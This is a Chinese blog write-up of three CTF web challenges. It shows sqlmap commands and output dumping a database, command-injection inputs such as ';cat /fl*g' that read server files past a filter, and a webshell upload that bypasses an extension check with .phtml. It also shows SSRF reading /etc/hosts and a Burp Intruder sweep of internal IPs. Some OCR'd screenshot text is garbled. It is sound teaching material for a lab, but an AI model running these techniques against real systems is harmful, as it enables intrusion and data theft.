# web攻防实战writeup; sqlmap使用&sql注入&敏感文件扫描 &SSFR漏洞BurpSuite使用

# 原创

Cherry\_icc ● 于 2021-05-15 13:34:10 发布 ● 169 ☆ 收藏 2
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web攻防实战writeup;sqlmap使用&sql注入&敏感文件扫描&SSFR漏洞BurpSuite使用

## 

web攻防实战writeup;sqlmap使用&sql注入&敏感文件扫描&SSFR漏洞BurpSuite使用

#### web1

step1:	扫描数据库			
step2:	列出数据库的表			
step3:	将表中数据输出			
step4: sql命令注入				

#### web2

step1 敏感文件扫描 step2 恢复文件查看源码 step3 上传webshell

#### web3

step1:确定发送请求的Client的类型 step2:获取和ip获取相关的配置文件 step3:burpsuite暴力破解

### web1

查看题目

## admin login page

username: password: 提交 here is my hint https://blog.c

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hint内容:

← → C ▲ 不安全 | 124.16.75.162:31030/hint.php?id=1

no password, no hint

下载工具 sqlmap-1.2.4, 并使用

#### step1: 扫描数据库



检测到有5个可用的数据库,查看第一个 ctf 数据库

#### step2:列出数据库的表

使用命令: python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" -D ctf --tables

cnerrygcnerry-vm:~/sqimap-1.2.4% python2 sqimap.py -U nttp://124.16.75.162:31030/nint.pnp?id=1 -D CtttableS	
H{1.2.4#stable} [1]{1.2.4#stable} [1] [v	
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program	ry to obey all applicable local,
[*] starting at 15:16:51	
[15:16:51] [INFO] resuming back-end DBMS 'mysql' [15:16:51] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:	
Parameter: id (GET) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: id=(SELECT (CASE WHEN (2247=2247) THEN 2247 ELSE 2247*(SELECT 2247 FROM INFORMATION_SCHEMA.PLUGINS) END))	
<pre>Instance in the second DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.29 back-end DBMS: MySQL &gt;&gt; 5.0 [15:16:52] [INFO] fetching tables for database: 'ctf' [15:16:52] [INFO] fetching number of tables for database 'ctf' [15:16:52] [INFO] fetching number of tables for database 'ctf' [15:16:52] [INFO] retrieved: 1 [15:16:52] [INFO] retrieved: users Database: ctf [1 table] +t users [ users ] </pre>	
<pre>[15:16:53] [INFO] fetched data logged to text files under '/home/cherry/.sqlmap/output/124.16.75.162'</pre>	
[*] shutting down at 15:16:53	https://blog.csdn.net/CHERRY_cong

检测到一个table 为 users

## step3:将表中数据输出

使用命令: python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" -D ctftables -T usersdump
<pre>[15:19:51] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.29 back-end DBMS: MySQL &gt;= 5.0</pre>
[15:19:51] [INFO] fetching tables for database: 'ctf' [15:19:51] [INFO] fetching number of tables for database 'ctf' [15:19:51] [INFO] resumed: 1
[15:19:51] [INFO] resumed: users Database: ctf [1 table]
++   users   ++
<pre>[15:19:51] [INFO] fetching columns for table 'users' in database 'ctf' [15:19:51] [WARNING] running in a single-thread mode. Please consider usage of option 'threads' for faster data retrieval [15:19:51] [INFO] retrieved: 3 [15:19:51] [INFO] retrieved: id [15:19:51] [INFO] retrieved: username [15:19:53] [INFO] retrieved: password</pre>
<pre>[15:19:54] [INFO] fetching entries for table 'users' in database 'ctf' [15:19:54] [INFO] fetching number of entries for table 'users' in database 'ctf' [15:19:54] [INFO] retrieved: 1 [15:19:54] [INFO] retrieved: 1</pre>
[15:19:54] [INFO] retrieved: Never_Guess_pwd [15:19:58] [INFO] retrieved: admin
Database: ctf Table: users [1 entry] ++
id   username   password   ++
1 1 1 dailth 1 hever_ddess_phd 1 ++
<pre>[15:19:59] [INFO] table 'ctf.users' dumped to CSV file '/home/cherry/.sqlmap/output/124.16.75.162/dump/ctf/users.csv' [15:19:59] [INFO] fetched data logged to text files under '/home/cherry/.sqlmap/output/124.16.75.162' https://blog.csdn.net/CHERRY_cong</pre>

表中的"username"下的是用户名,"password"下是密码,密码是明文存储的,直接得到 password 为 Never\_Guess\_pwd

登陆后进入admin.php页面,如下

# give me a host to resolve

host:	[
提交	

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随便输一个 127.0.0.1 返回值为

Server: 127.0.0.11 Address: 127.0.0.11#53 Non-authoritative answer: Name: localhost Address: 127.0.0.1 Name: localhost Address: ::1

step4: sql命令注入

host 输入;ls 发现可以看到当前目录,然后;ls / 查看根目录内容如下

# give me a host to resolve

host: 提交

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

直接 ; cat /flag 会看到 no flag in host ,通过 cat admin.php 再F12看到源码过滤规则, strstr对比子串里不能出现flag

用正则表达式 ;cat /fl\*g 就可以看到 flag{from\_error\_to\_blindsqli}

# give me a host to resolve

host:	
提交	

flag{from\_error\_to\_blindsqli}

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vim编辑的临时文件 index.php => .index.php.swp;

输入网址后加上\* http://124.16.75.162:31031/.index.php.swp \*下载下来index.php.swp文件

用vim打开可以看到的乱码

₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰₲₰
^@^@^@^@^@^@^@^@@@@@@@@@@@@@@@@@@@@@@@
\$_SERVER[REMOTE_ADDR]";^@ move_uploaded_file(\$_FILES["file"]['tmp_name'], \$upload_filename);^@ \$upload_filename = \$user
@ die('hello hacker');^@ if(\$suffix==="php") {^@ \$suffix=strtolower(\$name[count(\$name)-1]);^@ \$name=explode(".", \$_PO
sset(\$_POST['name'])) {^@} ^@ mkdir(\$user_home);^@if(!file_exists(\$user_home)) {^@\$user_home = "files/" . md5(\$_SERVER['REMOTE_ADD
<pre></pre>
<pre><input name="file" type="file"/>^@<form action="" enctype="multipart/form-data" method="post"> ^@<body>^@^@<html></html></body></form></pre>

step2恢复文件查看源码

考虑用vim恢复swp的内容,只能使用curl下载才能恢复

\$	curl ht	ttp:	//1	L24.16.75	5.1	62 <b>:</b> 3103	1/.inde	x.php.swp	outpu	ıt .index.	php.swp	)
	% Total	L	%	Received	1 %	Xferd	Average	e Speed	Time	Time	Time	Current
							Dload	Upload	Total	Spent	Left	Speed
16	0 12288	31	.00	12288	0	0	571k	0	::			571k
\$	vim -r	ind	lex.	.php								

查看恢复的网页源码



源码说明后缀名是 ".php" 的文件都拦截不能上传,网上看到说如果是在解题的情况下可以尝试用 PHP 其他后缀进行上传例如: php2, php3, php4, php5, phps, pht, phtm, phtml等。

源码还说明文件的存放路径: files/md5(\$ \_SERVER['REMOTE\_ADDR'])/ \$POST['name']

其中 \$POST['name'] 为自己input的filename; 上传后会提示ip地址

$\leftarrow$	$\rightarrow$	C	▲ 不安全   12	<b>4.16.75.162</b> :31031		
选择文件 未选择文件 input your filename upload						
upload success, your ip is 10.200.90.122						

#### 看到 \$ SERVER ['REMOTE ADDR'] = 10.200.90.122 获取md5的值如下

字符串	10.200.90.122
16位 小写	07cb16ca6a497b58
16位 大写	07CB16CA6A497B58
32位 小写	e3bb288707cb16ca6a497b581116aeef
32位 大写	E3BB288707CB16CA6A497B581116AEEF

考虑文件夹命名只能以字母开始,尝试32位的md5值,试出来是 e3bb288707cb16ca6a497b581116aeef

#### step3 上传webshell

使用webshell为 ppt 上的,命名为web.phtml,代码如下



Give Me Your Website

## Website:

catch it!

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#### step1:确定发送请求的Client的类型

没有vps,在website里输入本地地址http://127.0.0.1使用wireshark抓包;

10.200.90.122	124.16.75.162	HTTP	868 POST / HTTP/1.1 (application/x-www-form-urlencoded)
124.16.75.162	10.200.90.122	TCP	66 31032 → 64675 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=
10.200.90.122	124.16.75.162	TCP	54 64675 → 31032 [ACK] Seq=1 Ack=1 Win=131328 Len=0
124.16.75.162	10.200.90.122	TCP	60 31032 → 64671 [ACK] Seq=1 Ack=815 Win=63492 Len=0
124.16.75.162	10.200.90.122	HTTP	526 HTTP/1.1 200 OK (text/html)

题板与本地有两个HTTP/1.1的包,结合ppt,确定使用php的curl获取网页

php的curl默认不会返回任何UA,采用HTTP/1.1

#### step2: 获取和ip获取相关的配置文件

php(file\_get\_contents)、 python(urlopen)的client支持file://协议,因此可以先获取和ip获取相关的配置文件来判断 如果是docker环境, /etc/hosts中会有本机的hostname和ip

#### 使用 files:///etc/hosts 读取/etc/hosts,得到内□ip地址为 172.21.0.3

127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6allnodes ff02::2 ip6-allrouters 172.21.0.3 ed024a4320ff

#### step3: burpsuite暴力破解

使用burpsuite进行爆破,爆破方法:先用burpsuite Proxy模块关闭Intercept,访问题板网址

Burp Project Intruder Repeater Window Help Hackvertor	SCREENSHOT × +
Dashboard Target Proxy Intruder Repeater Sequencer	Dec ← → C ▲ 不安全   124.16.75.162:31032
Intercept HTTP history WebSockets history Options	
	Give Me Your Website
Forward         Drop         Intercept is off         Action	Op
	Website:
	catch it!
	https://blog.csdn.net/CHERRY_cong

在website里输入内网网址,题板网站就会向内网网站发送一个curl请求,我们要抓的就是这个请求包。 在 HTTP history里可以看 到访问历史。

1       http://172.10.3       GET       /       172.210.3       172.210.3         2       http://122.10.3       GET       /       172.210.3       172.210.3         3       http://124.1675.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.1675.162         4       http://124.1675.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.1675.162         5       http://124.1675.162.31032       GET       /       200       837       HTML       SCREENSHOT       124.1675.162         6       http://124.16.75.162.31032       POST       /       ✓       200       877       HTML       SCREENSHOT       124.16.75.162         6       http://124.16.75.162.31032       POST       /       ✓       200       877       HTML       SCREENSHOT       124.16.75.162         2       Bost:       J       GET       /       ✓       200       877       HTML       SCREENSHOT       124.16.75.162         2       Bost:       J       GET       /       ✓       200       877       HTML       SCREENSHOT       124.16.75.162         2       Rost       J       J
2       http://122.10.3       GET       /       172.210.3         3       http://124.16.75.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.16.75.162         4       http://124.16.75.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.16.75.162         5       http://124.16.75.162.31032       GET       / favicon.ico       404       458       HTML       ico       404 Not Found       124.16.75.162         6       http://124.16.75.162.31032       POST       ✓       200       877       HTML       SCREENSHOT       124.16.75.162         Request         Pretty Raw In Actions ✓         1       GET / HTTP/L.1        SCREENSHOT       124.16.75.162         2       Hots: / L.1.6.75.162:31032         1       Base: Screense       Immediate Screense         Pretty Raw In Actions ✓                2       Most: J.1.6.7:                2       Most: J.1.6.7:
3       http://124.16.75.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.16.75.162         4       http://124.16.75.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.16.75.162         5       http://124.16.75.162.31032       GET       //avicon.ico       404       456       HTML       ico       404 Not Found       124.16.75.162         6       http://124.16.75.162.31032       POST       ✓       200       877       HTML       SCREENSHOT       124.16.75.162         Request         Request         Pretty       Raw       n       Actions ✓         1       GAT / HTTP/1.1         Pretty       Raw       Render       n       Actions ✓         2       Horser/50.06.4430.212       Safari/537.36       //HTML       11/L Kerser/50.31032       1       Pretty       Raw       N       Actions ✓         1       GAT / HTTP/1.1         1       1       HTTP/1.1       1       1       Pretty       Raw       N       1       1       1       1       1       1       1       1       1       1
4       http://124.16.75.162.31032       GET       /       200       534       HTML       SCREENSHOT       124.16.75.162         5       http://124.16.75.162.31032       GET       /favicon.ico       404       458       HTML       ico       404 Not Found       124.16.75.162         6       http://124.16.75.162.31032       POST       /       200       877       HTML       SCREENSHOT       124.16.75.162         Request         Pretty       Raw       n       Actions *       1       1       1       Response         1       GBT / HTTP/1.1       3       HTML       1000 GT       1
5       http://124.16.75.162.31032       GET       /favicon.ico       404       458       HTML       ico       404 Not Found       124.16.75.162         6       http://124.16.75.162.31032       POST       /       J       200       877       HTML       SCREENSHOT       124.16.75.162         Request         Pretty Raw in Actions *         1       GET / HTTP/1.1       *       *       *       *         2       Host: 1.62: 31.032       *       *       *       *       *         1       GET / HTTP/1.1       *       *       *       *       *       *         2       Host: 1.62: 31.032       *
6 http://124.16.75.162.31032 POST / ✓ 200 877 HTML SCREENSHOT 124.16.75.162 Request Pretty Raw \n Actions \ 1 GBT / HTTP/1.1 2 Host: 124.16.75.162:31032 1 GBT / HTTP/1.1 2 Host: 124.16.75.162:31032 1 GBT / HTTP/1.1 2 Host: 124.16.75.162:31032 1 HTTP/1.1 200 0K 2 Host: 124.16.75.162:31032 3 Upgrade-Insecure=Requests: 1 4 User-Agents: NorillA'S.0 (%Indows NT 10.0; Win64; x64) AppleWebKit/537.36 (%HTML, like Gecko) Chrome/\$0.0.4430.212 Safari/537.36 5 Locenet-Length: 3433 5 Content-Length: 3433 5 Content-Length
Request       Response         Pretty Raw in Actions *       Pretty Raw Render in Actions *         1 GBT / HTTP/1.1       1 HTTP/1.1 200 0K         2 Host: 1/2 1.62:31032       1 HTTP/1.1 200 0K         3 Upgrade-Insecure-Requests: 1       1 DTP/1.1 200 0K         4 User-Agent: Nooilla/SJ 0(Windows NT 10.0; Win64; x64) AppleWebKit/S37.36 (KHTML, like Gecko)       2 Date: Fri, 14 May 2021 15:39:31 GMT         3 Upgrade-Insecure-Requests: 1       1 Server: Apache/2.4.18 (Ubuntu)         4 User-Agent: Nooilla/SJ 0(Windows NT 10.0; Win64; x64) AppleWebKit/S37.36 (KHTML, like Gecko)       5 Content-Length: 343         5 Locgent: Optimized and the second and the seco
Pretty Raw \n Actions \       Pretty Raw Render \n Actions \         1 GET / HTTP/1.1       1 HTTP/1.1 200 0K         2 Host: 124.16.75.162:31032       2 Date: Fri, 14 Hay 2021 15:39:31 GHT         3 Upgrade-Insecure-Requests: 1       3 Server: Apache/2.4.18 (Ubuntu)         4 User-Agent: Nosilla/S.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)       4 Var: Accept-Encoding         Chrome/50.0.4430.212 Safari/537.36       5 Content-Length: 343
1 GET / HTTP/1.1       1 HTTP/1.1 200 0K         2 Host: 124.16.75.162:31032       2 Date: Fri, 14 May 2021 15:39:31 GMT         3 Upgrade-Insecure-Requests: 1       3 Server: Apache/2.4.18 (Ubuntu)         4 User-Agent: Mosilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)       4 Vary: Accept-Encoding         Chrome/90.0.4430.212 Safari/537.36       5 Content-Length: 343
2 Host: 124.16.75.162:31032       2 Date: Fri, 14 May 2021 15:39:31 GMT         3 Upgrade-Insecure-Requests: 1       3 Server: Apache/2.4.18 (Ubuntu)         4 User-Agent: Mosilla/S.0 (Windows NT 10.0; Win64; x64) AppleWebKit/S37.36 (KHTML, like Gecko)       4 Vary: Accept-Encoding         Chrome/S0.0.4430.212 Safari/S37.36       5 Content-Length: 343         S becent: Open       6 Content-Longth: 343
3 Upgrade-Insecure-Requests: 1         3 Server: Apache/2.4.18 (Ubuntu)           4 User-Agenet: Mosilia/S.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)         4 Vary: Accept-Encoding           chrome/90.0.4430.212 Safari/537.36         5 Content-Length: 343           5 Accent         6 Content-Longth: 343
4 User-Agent: Hosilla/S.U (Windows NT 10.0; Win64; x64) AppleWebKit/S37.36 (KHTML, like Gecko) 4 (Vary: Accept-Encoding Chrome/90.0.4430.212 Safari/S37.36 5 Content-Length: 343
Content-Jergen 343
text/html.application/xhtml+xml.application/xml;g=0.9.image/avif.image/webp.image/appg.*/*;g=0.8.applic 7 Content-Type: text/html; charset=UTF-8
ation/sigmed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate 9 <htps: 10.1011="" 10011="" 1<="" doi.org="" j.com="" td=""></htps:>
7 Accept-Language: zh-CN,zh;q=0.9 10 <head></head>
8 Connection: close <title></title>
9 SCREENSHUT
10 States
- vicau>
12 <form action="" method="POST"></form>
13 <h1></h1>
Give Me Your Website
14 <b>&lt;</b> p>
<b> https://blog.csdn.net/CHERRY_cr</b>

上图中第6个POST包的内容如下,可以看到标记的url

R	equest
Pr	etty Raw \n Actions ~
1	POST / HTTP/1.1
2	Host: 124.16.75.162:31032
3	Content-Length: 27
4	Cache-Control: max-age=0
5	Upgrade-Insecure-Requests: 1
6	Origin: http://124.16.75.162:31032
7	Content-Type: application/x-www-form-urlencoded
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
	Chrome/90.0.4430.212 Safari/537.36
9	Accept:
	<pre>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,app.</pre>
	ation/signed-exchange;v=b3;q=0.9
10	Referer: http://124.16.75.162:31032/
11	Accept-Encoding: gzip, deflate
12	Accept-Language: zh-CN,zh;q=0.9
13	Connection: close
14	
15	url=http\$3A\$2F\$2F172.21.0.3

Atta	ck type: Sniper
1	POST / HTTP/1.1
2	Host: 124.16.75.162:31032
3	Content-Length: 27
4	Cache-Control: max-age=0
5	Upgrade-Insecure-Requests: 1
6	Origin: http://124.16.75.162:31032
7	Content-Type: application/x-www-form-urlence
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi
9	Accept: text/html,application/xhtml+xml,appl
10	Referer: http://124.16.75.162:31032/
11	Accept-Encoding: gzip, deflate
12	Accept-Language: zh-CN,zh;q=0.9
13	Connection: close
14	
15	url=http%3A%2F%2F172.21.0.\$3\$

#### 设置payload

#### Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various

Payload set:	1 ~	Payload count: 256
Payload type:	Numbers ~	Request count: 256

### (?) Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

#### Number range

Туре:	🔾 Sequential 🔵 Random
From:	0
To:	255
Step:	1
How many:	

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#### start attack在 172.21.0.2 得到 response, 状态200

3. Intruder attack of 124.16.75.162 - Temporary attack - Not saved to project file

Attack Sa	we Column	15					
Results	Target	Positions	Payloads	Resource Pool	Ор	tions	
Filter: Show	ing all items						
Request $\land$		Payload	Status	Error 1	Timeout	Length	Comme
0			200			877	
1	1		500			509	
2	2		200			562	
3	3		200			877	
4	4		500			509	
5	5		500			509	
6	6		500			509	
7	7		500			509	
8	8		500			509	
9	9		500			509	
10	10		500			509	
11	11		500			509	
12	12		500			509	
13	13		500			509	
14	14		500			509	
15	15		500			509	
16	16		500			509	
17	17		500			509	
18	18		500			509	
19	19		500			509	
20	20		500		nttps://b	log.csdn.net/(	DHERRY_cong

#### 看到response包中的 flag

```
14-
4.7
         <b>
           Website:
         </b>
        15
        <input type="text" size="100" name="url">
        16
        <input type="submit" value="catch it!">
        17
      </form>
18
19
      flag{old_trick_need_to_know}
20
    </body>
21 </html>
22
```